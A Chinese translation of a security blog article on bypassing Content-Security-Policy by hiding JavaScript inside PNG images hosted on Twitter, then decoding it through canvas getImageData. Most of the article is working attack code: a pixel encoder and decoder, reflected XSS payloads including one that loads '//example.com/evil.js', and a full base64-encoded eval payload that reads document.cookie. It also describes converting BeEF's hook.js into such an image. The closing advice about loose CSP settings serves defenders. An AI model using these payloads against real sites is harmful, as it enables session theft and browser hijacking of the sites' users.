原文:https://www.secjuice.com/hiding-javascript-in-png-csp-bypass/
将JavaScript代码隐藏在PNG图像中,利用XSS绕过CSP对网站攻击测试研究
利用HTML Canvas可以将恶意JavaScript代码转化为PNG图像,达到隐藏恶意代码的目的。然后,图像可以上传到正规网站,如Twitter或Google(通常由CSP列入白名单),最后,利用canvas getImageData
方法,从图像中提取“隐藏的JavaScript代码”并执行。
Content-Security-Policy响应头被广泛用来缓解XSS,点击劫持和代码注入攻击。许多网站为了避免误报,通常会配置比较宽松的策略,将整个域都放进白名单中。
Mike Parsons的一篇文章展示了如何使用HTML Canvas将JavaScript代码“存储”到PNG图像中,作者突然想到,通过利用恶意JavaScript“存储”到PNG图像,我们可以获得一个完美的CSP绕过技术。
具体方法CanvasRenderingContext2D中的putImageData和getImageData,并使用String.charCodeAt表示隐藏文本字符串的每个字符。
Canvas 2D API的CanvasRenderingContext2D.putImageData()方法将给定ImageData对象中的数据绘制到画布上。如果提供了脏矩形,则只绘制该矩形中的像素。方法不受canvas变换矩阵的影响
Canvas 2D API的CanvasRenderingContext2D方法getImageData()返回表示画布指定部分的底层像素数据的ImageData对象。如果指定的矩形延伸到画布边界之外,则画布外部的像素在返回的ImageData对象zho为透明黑色。
下面是一个隐藏文本的示例:
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "Hello, World!";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
上面的代码使用putImageData
方法创建一个图像,用RGB色彩模式表示"Hello, World!"字符串(每三个一组),在控制台中运行后,浏览器左上角会显示一个图像:
上面图像的每个像素代表“隐藏字符串”的3个字符。使用charCodeAt函数,可以将每个字符转换为0到65535之间的整数,在单个像素中,第一个转换的字符用于红色通道,第二个字符用于绿色通道,最后一个字符用于蓝色通道,第四个值是Alpha通道,在本文的例子中始终为255。
r = "H".charCodeAt(0)
g = "e".charCodeAt(0)
b = "l".charCodeAt(0)
a = 255
j.data = [r,g,b,a,...]
下图可以更好地解释字符串的字符是如何分布到ImageData数组中的:
现在我们有了一个表示“Hello, World!”字符串的PNG图像。可以利用下面这段代码,将生成的PNG图像转换为原始字符串:
t = document.getElementsByTagName("img")[0];
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
console.log(a);
document.getElementsByTagName("body")[0].innerHTML=a;
JavaScript代码将刚刚创建的图像元素,通过getImageData方法将其转换为原始文本字符串。使用getImageData时,会暂时得到一个ImageData对象,其数据属性为一个大数组。ImageData数组中每个像素都有四个元素:r、g、b和alpha。
数组的具体格式:
[pixel1R, pixel1G, pixel1B, pixel1Alpha, ..., pixelNR, pixelNG, pixelNB, pixelNAlpha]
现在我们知道如何将文本字符串“存储”到图像中,以及如何将该图像转换回其原始字符串。现在我们将隐藏的对象变为Javascript代码,并将生成的PNG图像上传到Twitter中。借此可以绕过Twitter的白名单图像的内容安全策略,并且可以利用XSS从“受信任的”来源加载JavaScript内容。
作者创建了一个易受攻击的Web应用程序,用来测试这项技术。Webapp使用内容安全策略来阻止加载外部JavaScript资源:
网站具体的Content-Security-Policy配置如上所示,该网站允许来自推特的图片。现实中也是这样,有许多网站为了避免误报,配置了script-src指令,将整个域都放到白名单中。
根据爬取Alexa Top 1M的数据来看,似乎有5000多个网站在script-src或default-src指令上使用带有“unsafe-inline”和“unsafe-eval”的Content-Security-Policy:
该漏洞存在于lang参数上,该参数不会过滤用户输入,从而导致HTML注入和反射型XSS。
为了利用此测试Web应用程序上的XSS漏洞,需要通过HTML注入来禁用src属性并添加SCRIPT标签,具体的payload如下所示
?lang="><script>alert(1)</script>
接下来需要绕过CSP,导入被CSP阻止的外部JavaScript库,:
?lang="><script+src="//example.com/evil.js"></script>
在做了一些测试之后,我发现当上传的图片太小时,推特上会显示上传失败。因此,我使用了一个较长的JavaScript代码(包括随机注释)来创建一个较大的图像:
(function() {
function encode(a) {
if (a.length) {
var c = a.length,
e = Math.ceil(Math.sqrt(c / 3)),
f = e,
g = document.createElement("canvas"),
h = g.getContext("2d");
g.width = e, g.height = f;
var j = h.getImageData(0, 0, e, f),
k = j.data,
l = 0;
for (var m = 0; m < f; m++)
for (var n = 0; n < e; n++) {
var o = 4 * (m * e) + 4 * n,
p = a[l++],
q = a[l++],
r = a[l++];
(p || q || r) && (p && (k[o] = ord(p)), q && (k[o + 1] = ord(q)), r && (k[o + 2] = ord(r)), k[o + 3] = 255)
}
return h.putImageData(j, 0, 0), h.canvas.toDataURL()
}
}
var ord = function ord(a) {
var c = a + "",
e = c.charCodeAt(0);
if (55296 <= e && 56319 >= e) {
if (1 === c.length) return e;
var f = c.charCodeAt(1);
return 1024 * (e - 55296) + (f - 56320) + 65536
}
return 56320 <= e && 57343 >= e ? e : e
},
d = document,
b = d.body,
img = new Image;
var stringenc = "function asd() {\
var d = document;\
var c = 'cookie';\
alert(d[c]);\
};asd();/*Lorem ipsum dolor sit amet, consectetur adipiscing elit. Etiam aliquam blandit metus vel elementum. Mauris mi tortor, congue eget fringilla id, tempus a tellus. Morbi laoreet vitae ipsum vel dapibus. Nunc eu faucibus ligula. Donec maximus malesuada justo. Nulla congue, risus quis dapibus porttitor, metus quam rutrum dolor, ac maximus nibh metus quis enim. Aenean hendrerit venenatis massa ac gravida. Donec at nisi quis ex sollicitudin bibendum sit amet ac quam.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Phasellus vel bibendum mi. Nam hendrerit justo eget massa lobortis sodales. Morbi nec ligula sem. Nullam felis nibh, tempor lobortis leo eu, vehicula ornare libero. Vestibulum lorem sapien, rhoncus nec ante nec, dignissim tincidunt urna. Sed rutrum tellus at nisl fringilla semper. Duis pharetra dui turpis, sed pellentesque magna porttitor vitae. Phasellus pharetra justo eu lectus ullamcorper, ut mollis lectus dictum. Duis efficitur tellus sed ante semper, eget iaculis nunc iaculis. Suspendisse tristique non ante ac lobortis.\
Phasellus auctor lectus nibh, non vulputate sem tristique sit amet. Pellentesque fringilla dolor vitae dapibus porta. Vivamus nec neque ante. In commodo neque ut turpis feugiat tempor. Duis pulvinar enim imperdiet condimentum iaculis. Maecenas ac pellentesque erat. Sed tempor a turpis eu eleifend. Cras elit nibh, aliquam ac sapien vulputate, accumsan rhoncus nunc. Nulla ut porta arcu. Sed imperdiet luctus sapien, eu viverra est lacinia in. Curabitur volutpat, enim nec hendrerit malesuada, felis libero facilisis enim, vitae tincidunt felis libero nec tortor. Sed lorem tellus, fringilla lobortis pharetra vitae, dignissim ac nibh. Curabitur eu ultricies mi. Aliquam erat volutpat. Aenean tincidunt diam quis hendrerit euismod. Etiam sed nibh eu est dignissim ultricies.\
Sed cursus felis eu tellus sollicitudin, a luctus lacus tempor. Aenean elit est, vulputate vitae commodo et, pellentesque vitae dui. Etiam volutpat accumsan congue. Mauris maximus at lorem nec auctor. Vestibulum porta magna et suscipit faucibus. Vestibulum sit amet neque ligula. In hac habitasse platea dictumst. Nullam sed tortor congue, volutpat lectus sit amet, convallis ante.\
Vestibulum tincidunt diam vel diam semper posuere. Nulla facilisi. Curabitur a facilisis lorem, eu porta leo. Sed pharetra eros et malesuada mattis. Donec tincidunt elementum mauris quis commodo. Donec nec vulputate nulla. Nunc luctus orci lacinia nunc sodales, vitae cursus quam tempor. Cras ullamcorper ullamcorper urna vitae pulvinar. Curabitur ac pretium felis. Vivamus vel scelerisque nisi. Pellentesque lacinia consequat nibh, vitae rhoncus tellus faucibus eget. Ut pulvinar est non tellus tristique sodales. Aenean eget velit non turpis tristique pretium id eu dolor. Nulla sed eros quis urna facilisis scelerisque. Nam orci neque, finibus eget odio et, elementum finibus erat.*/";
img.src = encode(stringenc), b.innerHTML = "", b.appendChild(img)
})();
然后上传到推特
将图片加载到IMG中,可以将其转换为原始的隐藏JavaScript代码。
然后在用来测试的webapp中执行eval操作。
获得远程推特图像,可以发送下列请求
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22%3E%3Ca+href=%22
现在,注入JavaScript行来将图像转换为外部JavaScript库并绕过CSP:
t = document.getElementById("jsimg");
var s = String.fromCharCode, c = document.createElement("canvas");
var cs = c.style,
cx = c.getContext("2d"),
w = t.offsetWidth,
h = t.offsetHeight;
c.width = w;
c.height = h;
cs.width = w + "px";
cs.height = h + "px";
cx.drawImage(t, 0, 0);
var x = cx.getImageData(0, 0, w, h).data;
var a = "",
l = x.length,
p = -1;
for (var i = 0; i < l; i += 4) {
if (x[i + 0]) a += s(x[i + 0]);
if (x[i + 1]) a += s(x[i + 1]);
if (x[i + 2]) a += s(x[i + 2]);
}
eval(a)
将其base64编码后,放到onload属性中,
onload='javascript:eval(atob("dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp"))'
接着
http://localhost:8111/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22
本来以为万事大吉,在执行getImageData时出错,显示错误消息“The canvas has been tainted by cross-origin data”。
查阅相关文档时,我发现浏览器阻止了诸如getImageData跨域加载图像之类的方法,接下来我还需要对crossorigin属性进行注入:
HTML为图像提供了Crossorigin
属性,结合合适的CORS头,允许在<canvas>
使用由<img>
元素定义的、从外部来源加载的图像.
由于canvas位图中的像素来源广泛,包括从其他主机检索的图像或视频,因此不可避免地会出现安全问题。一旦将未经CORS允许的从其他来源加载的任何数据绘制到画布中,画布就会被污染。受污染的画布就默认为不安全的,任何从画布检索图像数据的操作都将抛出异常。如果外来内容的源是HTML<img>
或SVG<svg>
元素,则不允许检索画布的内容。
幸运的是,twitter对于所有上传的图片添加了Access-Control-Allow-Origin: *
,这意味着我只需要将Crossorigin属性注入到img标记中,值为“anonymous”就可以使其正常工作。
注入值为“anonymous”的Crossorigin属性,接下来就是顺风顺水,并且可以成功执行函数alert(document ent.cookie)
,
完整的payload
/xss.php?lang=https%3A%2F%2Fpbs.twimg.com%2Fmedia%2FETxfIq-WoAA2H5C%3Fformat%3Dpng%26name%3D120x120%22+crossorigin=%22anonymous%22+id=%22jsimg%22+onload=%27javascript:eval(atob(%22dCA9IGRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCJqc2ltZyIpOwp2YXIgcyA9IFN0cmluZy5mcm9tQ2hhckNvZGUsIGMgPSBkb2N1bWVudC5jcmVhdGVFbGVtZW50KCJjYW52YXMiKTsKdmFyIGNzID0gYy5zdHlsZSwKICAgIGN4ID0gYy5nZXRDb250ZXh0KCIyZCIpLAogICAgdyA9IHQub2Zmc2V0V2lkdGgsCiAgICBoID0gdC5vZmZzZXRIZWlnaHQ7CmMud2lkdGggPSB3OwpjLmhlaWdodCA9IGg7CmNzLndpZHRoID0gdyArICJweCI7CmNzLmhlaWdodCA9IGggKyAicHgiOwpjeC5kcmF3SW1hZ2UodCwgMCwgMCk7CnZhciB4ID0gY3guZ2V0SW1hZ2VEYXRhKDAsIDAsIHcsIGgpLmRhdGE7CnZhciBhID0gIiIsCiAgICBsID0geC5sZW5ndGgsCiAgICBwID0gLTE7CmZvciAodmFyIGkgPSAwOyBpIDwgbDsgaSArPSA0KSB7CiAgICBpZiAoeFtpICsgMF0pIGEgKz0gcyh4W2kgKyAwXSk7CiAgICBpZiAoeFtpICsgMV0pIGEgKz0gcyh4W2kgKyAxXSk7CiAgICBpZiAoeFtpICsgMl0pIGEgKz0gcyh4W2kgKyAyXSkKfQpldmFsKGEp%22))%27%3E%3Ca+href=%22
将BeEF's hook.js转化为PNG图像。BeEF是一个浏览器漏洞利用框架,是一个针对于Web浏览器的渗透测试工具。我首先使用curl -s 'http://localhost:3000/hook.js' | base64 -w0
对其进行base64编码,然后将其转化为图像。
通过加载隐藏在Twitter的PNG图像中的外部JavaScript库,我可以绕过一些网站的内容安全策略。这么做的原因有两个,一个是宽松的CSP配置,再一个就是Twitter向所有上传的图像发送通配符访问源响应报头。我猜同样的技术在许多其他社交网络上也能起作用,这也是为什么不应该在CSP上使用“unsafe-inline”和“unsafe-eval”等配置的原因。你可以通过这个工具检查你的CSP配置并获得相应的建议。
https://hackernoon.com/host-a-web-app-on-twitter-in-a-single-tweet-9aed28bdb350
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/getImageData
https://developer.mozilla.org/en-US/docs/Web/API/CanvasRenderingContext2D/putImageData
https://developer.mozilla.org/en-US/docs/Web/HTML/CORS_enabled_image
https://developer.mozilla.org/en-US/docs/Web/HTML/Attributes/crossorigin
https://csp-evaluator.withgoogle.com/